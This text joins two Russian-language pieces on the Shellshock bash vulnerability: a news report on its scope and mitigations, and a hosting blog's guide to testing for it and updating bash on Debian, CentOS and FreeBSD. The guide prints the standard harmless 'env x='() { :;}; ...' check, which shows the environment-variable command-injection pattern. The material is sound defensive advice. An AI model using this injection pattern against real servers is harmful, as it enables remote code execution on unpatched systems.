В командном интерпретаторе Bash, известном также как Bourne-Again Shell, обнаружена опасная уязвимость (CVE-2014-6271), которая предоставляет возможность организовать выполнение кода в контексте другого сеанса bash. Данная уязвимость может обернуться большими проблемами для многих веб-серверов на базе Unix или Linux.
По мнению Роберта Грэма из консалтинговой компании Errata Security, уязвимость в командной оболочке Bash существует уже много лет и может привести к более серьезным последствиям по сравнению с уязвимостью Heartbleed в протоколе шифрования OpenSSL, обнаруженной весной этого года.
Брешь в Bash касается процесса оценки командной оболочкой переменных окружений. Злоумышленники могут использовать эту уязвимость для выполнения команд оболочки с помощью специально созданных переменных окружений. Это, в свою очередь, может сделать сервер уязвимым перед серьезными хакерскими атаками.
Как отмечает источник, это один из тех изъянов в системе безопасности, где злоумышленнику нужно заручиться высоким уровнем доступа к системе, чтобы нанести вред. К сожалению, как сообщают обнаружившие уязвимость специалисты компании Red Hat, некоторые службы и приложения позволяют злоумышленникам создавать переменные окружения и использовать уязвимость командной оболочки Bash.
Корень проблемы в том, что Bash очень часто используется в качестве системной оболочки. Таким образом, если приложение вызывает командную оболочку через HTTP или интерфейс CGI (Common-Gateway Interface) и пользователю предоставлена возможность ввода команд, то веб-сервер может быть взломан.
По словам главы службы информационной безопасности компании Akamai Technologies Энди Эллиса, эта уязвимость может затронуть множество приложений, которые считывают введенные пользователем команды и вызывают другие приложения с помощью оболочки. Больше всего проблем может возникнуть, если скрипт подается на выполнение с правами суперпользователя. В этом случае злоумышленник может избежать наказания за взлом сервера.
Атакованы могут быть не только приложения, но и CGI-скрипты, dhclient, CUPS и конфигурации OpenSSH. В случае с OpenSSH атака может быть проведена через подстановку переменной окружения SSH_ORIGINAL_COMMAND и TERM.
Данная уязвимость свойственна всем версиям Bash, включая bash-3.0. В определенных кругах ее прозвали «Bashdoor», другие пользователи окрестили ее shellshock.
На данный момент существует несколько рекомендаций по предотвращению возможности использования этой уязвимости. Прежде всего нужно тщательно проверять заданные приложениями команды Bash. Затем отключить все CGI-скрипты, которые обращаются к оболочке. Кроме того, Akamai Technologies рекомендует переключится на другую оболочку и дождаться выхода исправлений, которые устраняют эту уязвимость.
По состоянию на вчерашнее утро разработчики Bash выпустили патч для всех версий Bash, который устраняет данную уязвимость. В ближайшее время обновления пакетов с bash будут выпущены для всех дистрибутивов Linux.
Источник: ZDNet
Источник: https://itc.ua/news/v-populyarnoy-komandnoy-obolochke-bash-v-unix-sistemah-obnaruzhena-kriticheskaya-uyazvimost/
Shellshock – обновляйте ваш bash, джентельмены
Последнее время были отмечены несколько серьезных уязвимостей популярных операционных систем.
Достаточно вспомнить Heartbleed (уязвимость OpenSSL), которая затронула большинство систем, были опубликованы описания ошибок в сетевом стэке FreeBSD и возможности эскалации привилегий в определенных версиях ядра Linux.
Сравнительно недавно появилось описание ошибки в популярной, можно сказать – стандартной в большинстве случаев оболочке bash. Эта уязвимость получила название Shellshock (CVE-2014-6271, CVE-2014-7169).
Вкратце об природе уязвимости: из-за ошибки интерпретатора возможно выполнение произвольного кода, описанного после кода пользовательской функции.
Опасность данной ошибки в том, что произвольный код может быть передан множеством способов – в cookie, в заголовках http-запроса, в локальных переменных и так далее. Уязвимости подвержены все версии bash от 1.14 до 4.
3, а в группу риска попадают не только традиционные вэб-серверы, но и множество устройств – домашние роутеры, принтсерверы и даже смартфоны.
Проверить уязвимость можно простой командой:
|
env x='() { :;}; echo vulnerable' bash -c “echo this is a test” |
Если после выполнения команды будет выдан текст vulnerable, то используемая версия bash уязвима:
|
[root@vulnerable-server ~]# env x='() { :;}; echo vulnerable' bash -c “echo this is a test” vulnerable this is a test [root@vulnerable-server ~]# |
А в том случае, если результатом выполнения команд будет только надпись ‘this is a test’, ваша система уже обновлена и использует актуальную, исправленную версию bash:
|
[root@server ~]# env x='() { :;}; echo vulnerable' bash -c “echo this is a test” this is a test [root@server ~]# |
Если после проверки оказалось, что на сервере используется устаревшая и уязвимая версия bash, следует ее незамедлительно обновить.
Debian, Ubuntu
Все современные версии Debian/Ubuntu могут быть легко обновлены с помощью пакетного менеджера apt-get. Выполните следующие команды для того, чтобы обновить bash:
|
apt-get update apt-get install –only-upgrade bash |
Если используются устаревшие версии Debian или Ubuntu, то наиболее правильным способом будет обновить систему в целом. Обычно это делается с помощью команды do-release-upgrade.
Будьте внимательны и сделайте резервные копии ваших данных и настроек, предупредите пользователей о предстоящих работах, а также изучите соответствующую документацию – обновление системы и используемого программного обеспечения может потребовать коррекции конфигурационных файлов, настроек CMS и так далее.
Centos, Fedora
Обновление версии bash в операционных системах семейства Red Hat Enterprise Linux производится с помощью yum:
FreeBSD
В качестве основной оболочки в FreeBSD используется tcsh, однако иногда дополнительно устанавливается bash – например, для работы определенных скриптов. В современных версиях FreeBSD обновление bash может быть выполнено с помощью пакетного менеджера pkg:
Если используется старая версия FreeBSD, где программное обеспечение устанавливается из /usr/ports, обновите дерево ports, а затем скомпилируйте и установите обновленную версию оболочки:
|
cd /usr/ports/shell/bash make BATCH=yes build make BATCH=yes deinstall make BATCH=yes reinstall |
Дополнительно рекомендуем:
Источник: https://itldc.com/blog/shellshock-upgrade-your-bash-gentelmen/
Загрузка...
